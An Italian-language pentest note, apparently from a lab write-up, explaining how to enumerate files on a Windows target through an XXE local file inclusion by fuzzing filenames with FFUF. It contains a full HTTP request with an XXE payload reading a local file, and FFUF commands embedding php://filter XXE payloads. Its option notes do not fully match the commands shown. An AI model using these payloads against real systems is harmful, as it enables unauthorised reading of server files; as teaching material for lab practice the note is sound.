tags: XML XML_Attack XML-XXE_Injection Enumerazione_File_XML


Quando tramite XML otteniamo una LFI e ci troviamo di fronte ad una macchina Windows non è possible enumerare tutti i file presenti in una cartella perchè Windows tramite questo “linguaggio” non lo permette.

Quindi per ovviare a questo problema dobbiamo fuzzare tutti i file presenti nella cartella, per farlo possiamo utilizzare FFUF o BurpSuite.

FFUF

Mettiamo che la richiesta con incluso il nostro payload sia:

POST /process.php HTTP/1.1
Host: 10.129.95.192
Content-Length: 204
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Content-Type: text/xml
Accept: */*
Origin: http://10.129.95.192
Referer: http://10.129.95.192/services.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=si01a98qs0fbcqp3un39kbhtf8
Connection: keep-alive
 
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY win SYSTEM "file:///C:/Log-Management/job.bat">
]>
<order>
  <quantity>1</quantity>
  <item>&win;</item>
  <address>FuzzingTest</address>
</order>

Il nostro comando FFUF diventerebbe:

ffuf -u http://10.129.95.192/process.php -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Log-Management/FUZZ">]><order><quantity>1</quantity><item>&file;</item><address>test</address></order>' -w /opt/wordlists/SecList/Discovery/Web-Content/directory-list-2.3-small.txt -e .bat,.php
  • -d '...': Ho inserito il payload XML “minificato” (tutto su una riga per comodità) mettendo la parola chiave FUZZ alla fine del percorso C:/Log-Management/.

  • -w ...: Ho scelto una wordlist di parole comuni (raft-small...).

  • -e .bat,.txt,.ps1,.log: Questo è il trucco da maestro. Dico a FFUF: “Per ogni parola nella lista (es. ‘job’), prova le estensioni: job.bat, job.txt, job.ps1, job.log”. Questo è fondamentale in Windows.

  • -fs 1234: (Filter Size). Prima di lanciare l’attacco vero, fai una prova con un nome a caso (pippo.txt). Guarda quanto è grande la risposta di errore (es. 850 byte). Metti quel numero qui per dire a FFUF: “Nascondimi tutti i fallimenti”.

Trasformazione formato XML

Il problema in genere si presenta nello trasformare il contenuto XML in una riga sola perchè XML è molto schizzinoso e basta uno spazio per spaccare tutto, quindi per ottenere un comando funzionante segui uno dei seguenti metodi:

1) Variabile Bash

Copia il contenuto XML da BurpSuite su un file Pluma (non usare Nano o Vim perchè lo copia male) e dacci un nome tipo payload.xml ora nel comando FFUF al posto che copiare tutto il contenuto XML ci inserisci semplicemente il file con la sintassi bash $(cat variabile) (ovviamente devi inserire il paramentro FUZZ dentro il file.xml):

ffuf -u http://10.129.95.192/process.php -X POST -H "Content-Type: text/xml" -H "Cookie: PHPSESSID=g244c373r1up2skgukt0dfpc0f" -d "$(cat payload.xml)" -w /opt/wordlists/SecList/Discovery/Web-Content/directory-list-2.3-small.txt -e .bat,.php

Lui capirà in automatico cosa fare.

2) File FFUF

Possiamo copiarci direttamente tutta la richiesta da BurpSuite su un file req.txt (usa Pluma per gli stessi motivi precedenti), modificarlo aggiungendo il parametro FUZZ e poi darlo in pasto a FFUF, lui capirà cosa fare:

ffuf -request req.txt -w /opt/wordlists/SecList/Discovery/Web-Content/directory-list-2.3-small.txt -e .bat,.php -ic